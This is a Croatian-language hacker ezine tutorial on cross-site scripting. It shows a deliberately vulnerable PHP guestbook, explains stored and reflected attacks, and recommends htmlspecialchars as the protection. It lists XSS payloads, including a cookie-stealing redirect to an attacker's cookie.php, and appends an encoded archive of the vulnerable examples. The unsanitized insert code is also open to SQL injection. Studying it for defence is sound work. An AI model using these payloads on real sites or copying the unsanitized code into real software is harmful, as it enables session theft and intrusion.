Copy Link
Add to Bookmark
Report

1x05 Cross Site Scripting with examples

eZine's profile picture
Published in 
phearless
 · 10 months ago

 
...................
...::: phearless zine #1 :::...

...............>---[ Cross Site Scripting with examples ]---<...............

..........................>---[ by Exoduks ]---<............................
exoduks[at]gmail[dot]com

SADRZAJ:

[0] Uvod
[1] XSS - Sto je to
[2] Za sto nam je XSS koristan
[3] Dvije najcesce metode XSS napada
[4] Primjeri i exploitovanje
[5] Primjeri korisnog JavaScript koda
[6] Zastita
[7] EOF a.k.a THE END


*** na kraju teksta se nalazi uuencodeovan XSS-examples.tar.gz sa primerima
*** za exploitanje vezanim za ovaj tekst !


////////////////////////////////////////////////////////////////////////////
--==<[ 0. Uvod
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

U ovom tekstu cu vam pisati o Cross Site Scripting propustu u web
aplikacijama. Inace XSS propust je dosta rasiren i programeri premalo pozornosti
posvecuju sigurnosti web aplikacija.
Cross Site Scripting ili skraceno CSS koji mnoge asocira na Cascading
Style Sheet i ako jedno s drugim nemaju nikakve veze. Jos je i poznat pod
nazivom koji se najcesce upotrebljava, a to je XSS koji cu i ja u daljnjem
dijelu koristiti.



////////////////////////////////////////////////////////////////////////////
--==<[ 1. XSS - Sto je to
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

XSS je propust koji se javlja kad neka web aplikacija dobije zlonamjerne
podatke od korisnika, u najcescem slucaju taj zahjtev sadrzi JavaScript,
HTML, VBScript ili neki drugi kod. Jednom kad web aplikacija zaprimi takav
kod prosljeduje ga korisnku gdje njegov web browser izvrsi zlonamjerni kod.



////////////////////////////////////////////////////////////////////////////
--==<[ 2. Za sto nam je XSS koristan
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

XSS je beskoristan ako zlonamjerni kod izvrsi vas browser na vasem
racunalu, jer dobijete vlastite podatke, a to mozete dobiti i bez toga,
stoga se XSS primjenjuje na neku osobu od koje zelite dobiti odredjene
podatke, natjerate da web aplikacija zlonamjerni kod prosljedi njegovom
browseru koji to izvrsava na njegovom racunalu. XSS se najcesce koristi za
dobijanje cookie-a i session-a.



////////////////////////////////////////////////////////////////////////////
--==<[ 3. Dvije najjace metode XSS napada
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Prva metoda je kada korisnik posalje web aplikaciji zlonamjerni kod i
ona ga spremi negdje na serveru (u neku bazu, neki fajl ili nesto trece) i
svaki put kada neki korisnik ucita odredjenu stranicu web aplikacija sa
servera ucitava zlonamjerni kod i salje ga korisniku koji je posjetio tu
stranicu.
Druga metoda je da se "zlonamjerni kod" ne pohranjuje na serveru nego ga
korisnik unosi nekim putem u web aplikaciju i ona mu ga proslijeduje natrag,
te se kod zatim izvrsava.
Prva metoda je korisnija od ove druge jer je laksa za exploitati. U 2-oj
metodi moramo natjerati na neki nacin zrtvu da ona sama unese zlonamjerni
kod koji ce se izvrsiti na zrtvinom racunalu i poslate podatke nama.



////////////////////////////////////////////////////////////////////////////
--==<[ 4. Primjeri i exploitanje
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Kao sto sam vec napomenuo uz ova tekst prilozeni se u primjeri ranjivih
web aplikacija, koje ste trebali vec instalirati. Prvo sa vasim browserom
posjetite:

http://www.server.com/XSS-primjer/index.php

...i pokrenut ce se aplikacija koja ce vam ispisati sadrzaj baze, na ovom
principu rade forumi, razne knjige gostiju, a velik broj njih je ranjiv na
XSS, pogotovo one manje poznate. Nas u ovom dijelu ne zanima kod index.php
stranice pa ga necu objasnjavati.
Kliknite na link koji se nalazi na index.php stranici "Dodaj tekst !"
koji vodi do strance sa formom za unos texta "add.html"(simulacija dodavanja
posta na forumu ili knjigi gostiju). Na toj stranici za pocetak cemo unijeti
pod naslov "Proba", a pod tekst "Blabalbal" nakon unosa pritisnite submit.
Nakon toga trebalo bi vam se pojaviti Uspjesno dodano. Zatim opet posjetite
"index.php" na kojoj cete vidjeti text koji ste unijeli preko forme.

Zatim otvorite add.php i pogledajte sljedeci kod:

------- star code -------
<?php
include("config.php");

$naslov = $_POST['naslov'];
$text = $_POST['text'];

mysql_connect($server, $dbuser, $dbpass);
mysql_select_db($database) or die("Greska u spajanju na bazu !");

$query = "INSERT INTO XSS_primjer1 VALUES ('$naslov', '$text')";
mysql_query($query);
mysql_close();

echo "Dodano u bazu !";

?>
------- end code -------

Idemo sad malo razjasniti kod:

...
include("config.php");
...
- ukljucuje se fajl config.php u kojem su smjesteni podaci za spajanje na
bazu.


...
$naslov = $_POST['naslov'];
$text = $_POST['text'];
...
- ove dvije varijable hvataju POST zahtjev od add.html forme, posto nema
nikakve provjere za sadrzajem tih dviju varijabli mozemo bez problema
unijeti zlonmajerni kod, kao sto cete vidjeti sami.


...
mysql_connect($server, $dbuser, $dbpass);
mysql_select_db($database) or die("Greska u spajanju na bazu !");

$query = "INSERT INTO XSS_primjer1 VALUES ('$naslov', '$text')";
mysql_query($query);
mysql_close();

echo "Dodano u bazu !";
...
- funkcije za spajanje na bazu i dodavanje sadrzaja varijabli $naslov i
$text u bazu, ali taj dio i nije toliko vazan.


Znaci koliko vidimo iz gornjeg koda nema provjere ulaznih varijabli $naslov
i $text stoga je XSS napad moguc pa idemo da vidiom i to.


- sa browserom posjetite add.html i u polje naslov stavite "proba - xss"
a pod text stavite sljedeci JavaScript kod:

<script>alert('XSS primjer 1 - exploited !');</script>

- nakon sto ste unijeli kliknite na submit i zatim ponovno otidite na
index.php stranicu.

- odmah nakon sto se stranica ucita iskocit ce vam prozor sa porukem "XSS
primjer 1 - exploited !"

- kao sto smo i predpostavili moguce je unijeti kod i sremiti ga u bazu te
ce se izvrsiti na svim korisncima koji posjete tu stranicu.



////////////////////////////////////////////////////////////////////////////
--==<[ 5. Primjeri korisnog JavaScript koda
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

<script>alert('Lamed !');</script>

<script>alert(document.cookie);</script>

<script>document.location='http://server/cookie.php?'+document.cookie</script>

<IMG SRC="javascript:alert('Lamed!');">

<BODY BACKGROUND="javascript:alert('Lamed !')">

<LINK REL="stylesheet" HREF="javascript:alert('Lamed !');">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('Lamed !');">

<BODY ONLOAD=alert('Lamed !')>



////////////////////////////////////////////////////////////////////////////
--==<[ 6. Zastita
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Najbolja zastita protiv XSS napada je da se filtriraju sve ulazne
varijable. To se moze uciniti putem gotovih funkcija ili mozete napisati
neke provjere da li varijabla sadrzi npr. "script", i tagove <> !
Evo vam nekih funkcija u php-u koje se za to koriste, najcesce u kombinaciji
s nekom drugom funkcijom drugom:

// from php menual

eregi_replace -- Replace regular expression case insensitive
This function is identical to ereg_replace()
except that this ignores case distinction when
matching alphabetic characters.

htmlspecialchars -- Convert special characters to HTML entities
This function is useful in preventing user-supplied
text from containing HTML markup, such as in a message
board or guest book application.

Idemo vidjeti sto bi se dogodilo da u kod od add.php jos dodamo sljdeci kod:

Ispod:
...
$naslov = $_POST['naslov'];
$text = $_POST['text'];
...

Dodamo jos:
...
$naslov = htmlspecialchars($naslov);
$text = htmlspecialchars($text);
...

Idemo sada vidjeti sto ce se dogoditi ako opet u aplikaciju unesemo javascript
kod. Posjetite http://www.server.com/XSS-primjer/add.html i unesite i pod Naslovi
pod Tekst <script>alert('XSS primjer 1 - exploited !');</script>. Zatim kliknite
na submit. Primjetit cete da nam nace iskociti prozor nego ce nam se javascript kod
koji smo unijeli ispisati ali se nece izvrsiti.



////////////////////////////////////////////////////////////////////////////
--==<[ 7. EOF a.k.a THE END
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Dosli ste na kraj ovog teksta koji je trebao biti malo duzi ali zbog
pozurivanja :) morao sam to malo skratiti. Pozdravljam sve koje poznam :)
neda mi se pisati sada listu ! Nemojte zamjeriti na gramatickim greskama.
BTW. posjetite www.hackgen.org !



begin 644 xss-examples.tar.gz
M'XL(`#PU#4(``^U<;5/;2!+FZZDJ_Z'146>XQ;8LOUW`]A8+WETJ0"AP<IL]
MKE)C:;!ERQIE9F0#5_='[L/]UNN19%LF(5XJCB&7>4@AS5MWSUM/3[?(;Y>7
M>7I#1J%/17'CZ\"R*E:]6L5GO5:UZLFS5,+G#!LER[;*=MFN5,L;5JE<JMH;
M4/U*\BP@$I)P@(T^<88]&CQ8;UGY-XK?LO.O$B'W1@/*5[D6'C7_E0K.?]6N
M5_7\KP,/SC]QW4)?COP5\+!*EE53\_KI^;<KM7IF_C&_5*N7:AM@K8#W4GSG
M\]_8/'I]V'EWWH9?.Z<G</[FIY/C0S#SQ>+?RX?%XE'G*"FH%*P2=#@)A"<]
M%A"_6&R?F6#VI0SWBL7)9%*8E`N,]XJ=BZ):-Y6BSYB@!5>Z9LMHJ"SUH,3%
MA_2D3UNXW"`/Y\F"@Q)T;Z%]P]QH*!K%I(;1&%%)0#')TP^1-VZ:ARR0-)#Y
MSFU(37"25-.4]$;&?/?!Z1,NJ&Q.O,!E$Y$OV55+B>![P1#ZG%XW32%O?5IP
MA#"!4S]-BSZET@2)A%-ZJD++,!K%1&RCT67N+5(*@?A>+VB:#O*F',7PB1`I
MF1(D#_-^_QK%\!-M6PTA.0MZK09)A4.QZ4TA[(=FZYP-R7\]D'0H)&PVBJ0%
M?PFZ(MS_^/<1<\D`E-BP"8WBE&C,\YKQ$01DA/U2KR43<%C[S&V:(1/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D8$A1T2%P6AT&.2C3T0!%3`E(Q]9=S24>)G8'+,N(>UYI8U**YA
M%'CQ,**=/*3*BV%DW1B*/`O3O@OB\CLTXM70NIB')G1ZLQH30?)82@59^#[/
M,'XGTAO-N<O8(ZH,81QH%(`,DYG#L1P0%+Z')(811"(<4($3I/J53#WRPS$0
MCIIVM-31>L[XXC>?>H5J?$TLZ/_%O;4R'LOT?RG[_4_\___4K&I%Z_]UX/"B
M?=!I0^?@IY,VW`@QB]9LOS``TAOEF'#E5-G&>=R!L]<=.'MS<@(NO29X\85<
M;E?5C?T/\:]IC3C[_.+X].#B';QJOP/83J-7+XP=4$ZGYNGM\>7!Z?X+0_UD
M`T=946:!H[>1'RA?`9#0]QRB'%&HPI1FA\W<;NZ<B0&52A?>"^_#)NBRYU&6
MVXDG^ZF7O8:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&AH:&
0AH:&QC>)_P$@-@#I`'@`````
`
end
sum -r/size 19780/2401

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT